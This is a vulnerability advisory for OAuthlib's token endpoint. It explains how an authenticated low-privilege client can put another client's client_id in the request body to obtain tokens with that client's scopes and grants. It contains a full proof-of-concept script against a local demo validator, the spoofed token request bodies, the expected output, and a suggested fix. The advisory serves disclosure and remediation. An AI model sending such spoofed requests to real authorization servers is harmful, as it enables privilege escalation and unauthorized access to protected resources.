Summary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied clientid from the request body.
In affected token grant flows, authenticateclient(request) sets request.client to the authenticated client object, but OAuthlib does not require request.clientid to match request.client.clientid. If the request body already contains clientid=..., OAuthlib keeps that value and passes it to validategranttype() and validatescopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's clientid in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
- clientcredentials - password / Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client; - another client has broader grants or scopes; - the application validator uses the clientid argument passed by OAuthlib in validategranttype() or validatescopes(), as the RequestValidator API is designed to support.
Deployments whose validators ignore the clientid argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including clientid:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticateclient() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/requestvalidator.py#L41-L66
For the clientcredentials grant, OAuthlib authenticates the client, verifies that request.client has a clientid, then performs grant and scope validation before normalizing request.clientid from request.client.clientid:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/clientcredentials.py#L106-L119
The problematic order is:
python if not self.requestvalidator.authenticateclient(request): ... elif not hasattr(request.client, 'clientid'): ...
self.validategranttype(request)
request.clientid = request.clientid or request.client.clientid self.validatescopes(request)
Because OAuthlib only fills request.clientid when it is missing, an attacker-supplied body value such as clientid=high survives even when request.client.clientid == "low".
The shared grant helper then authorizes using request.clientid, while passing the authenticated client object separately:
- validategranttype(request.clientid, request.granttype, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/base.py#L152-L162 - validatescopes(request.clientid, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.clientid from request.client.clientid:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/resourceownerpasswordcredentials.py#L87-L97 - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/resourceownerpasswordcredentials.py#L178-L195
This creates an inconsistent identity state:
text request.client.clientid == "low" # authenticated client request.clientid == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.clientid as the first-class clientid argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the clientid argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client; - allowing a low-privilege client to use a grant type reserved for a higher-privilege client; - persisting tokens under a spoofed clientid while the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
text oauthlib==3.3.1
repro.py:
python import base64 import json
from oauthlib.oauth2 import ( BearerToken, ClientCredentialsGrant, RequestValidator, ResourceOwnerPasswordCredentialsGrant, TokenEndpoint, )
class Client: def init(self, clientid): self.clientid = clientid
CLIENTS = { "low": { "secret": "low-secret", "grants": {"clientcredentials", "password"}, "scopes": {"read"}, }, "high": { "secret": "high-secret", "grants": {"clientcredentials", "password"}, "scopes": {"read", "admin"}, }, }
class DemoValidator(RequestValidator): def init(self): self.savedtokens = []
def authenticateclient(self, request, args, kwargs): authorization = request.headers.get("Authorization", "") prefix = "Basic " if not authorization.startswith(prefix): return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8") clientid, secret = decoded.split(":", 1) record = CLIENTS.get(clientid) if record is None or record["secret"] != secret: return False
# This is the authenticated client identity. request.client = Client(clientid) return True
def clientauthenticationrequired(self, request, args, kwargs): return True
def validategranttype(self, clientid, granttype, client, request, args, kwargs): record = CLIENTS.get(clientid) return record is not None and granttype in record["grants"]
def validatescopes(self, clientid, scopes, client, request, args, kwargs): record = CLIENTS.get(clientid) return record is not None and set(scopes or []) <= record["scopes"]
def getdefaultscopes(self, clientid, request, args, kwargs): return []
def validateuser(self, username, password, client, request, args, kwargs): if username == "alice" and password == "wonderland": request.user = username return True return False
def savebearertoken(self, token, request, args, kwargs): self.savedtokens.append({ "token": dict(token), "authenticatedclientid": request.client.clientid, "requestclientid": request.clientid, "scopes": list(request.scopes or []), })
validator = DemoValidator() token = BearerToken(validator, expiresin=3600) endpoint = TokenEndpoint( defaultgranttype="clientcredentials", defaulttokentype=token, granttypes={ "clientcredentials": ClientCredentialsGrant(validator), "password": ResourceOwnerPasswordCredentialsGrant(validator), }, )
def lowclientheaders(): value = base64.b64encode(b"low:low-secret").decode("ascii") return {"Authorization": f"Basic {value}"}
def tokenrequest(body): headers, responsebody, status = endpoint.createtokenresponse( "https://auth.example/token", body=body, headers=lowclientheaders(), ) return status, json.loads(responsebody)
def assertrejected(label, body): status, response = tokenrequest(body) print(label, status, response) if status == 200: raise SystemExit(f"{label}: expected rejection, got success")
def assertspoofedsuccess(label, body): status, response = tokenrequest(body) print(label, status, response) if status != 200: raise SystemExit(f"{label}: expected token, got {status} {response}") if response.get("scope") != "admin": raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.savedtokens[-1] if saved["authenticatedclientid"] != "low": raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}") if saved["requestclientid"] != "high": raise SystemExit(f"{label}: spoofed request clientid was not preserved: {saved}")
assertrejected( "control clientcredentials as low requesting admin", "granttype=clientcredentials&clientid=low&scope=admin", ) assertspoofedsuccess( "spoofed clientcredentials as low with clientid=high", "granttype=clientcredentials&clientid=high&scope=admin", )
assertrejected( "control password as low requesting admin", "granttype=password&clientid=low&username=alice&password=wonderland&scope=admin", ) assertspoofedsuccess( "spoofed password as low with clientid=high", "granttype=password&clientid=high&username=alice&password=wonderland&scope=admin", )
print("OAUTHLIBCLIENTIDSPOOFINGCONFIRMED") print(json.dumps(validator.savedtokens, indent=2, sortkeys=True))
Run:
bash python -m venv .venv . .venv/bin/activate python -m pip install -r requirements.txt python repro.py
Expected result:
text control clientcredentials as low requesting admin 400 {'error': 'invalidscope'} spoofed clientcredentials as low with clientid=high 200 {'accesstoken': '...', 'expiresin': 3600, 'tokentype': 'Bearer', 'scope': 'admin'} control password as low requesting admin 400 {'error': 'invalidscope'} spoofed password as low with clientid=high 200 {'accesstoken': '...', 'expiresin': 3600, 'tokentype': 'Bearer', 'scope': 'admin', 'refreshtoken': '...'} OAUTHLIBCLIENTIDSPOOFINGCONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
json { "authenticatedclientid": "low", "requestclientid": "high", "scopes": ["admin"] }
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied clientid=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request clientid is present and does not match request.client.clientid.
For authenticated confidential-client flows, a safer invariant is:
python if request.client is not None: if request.clientid is not None and request.clientid != request.client.clientid: raise InvalidClientError(...) request.clientid = request.client.clientid
This should happen before validategranttype() and validatescopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/ - ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/ - cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/ - chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/ - cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/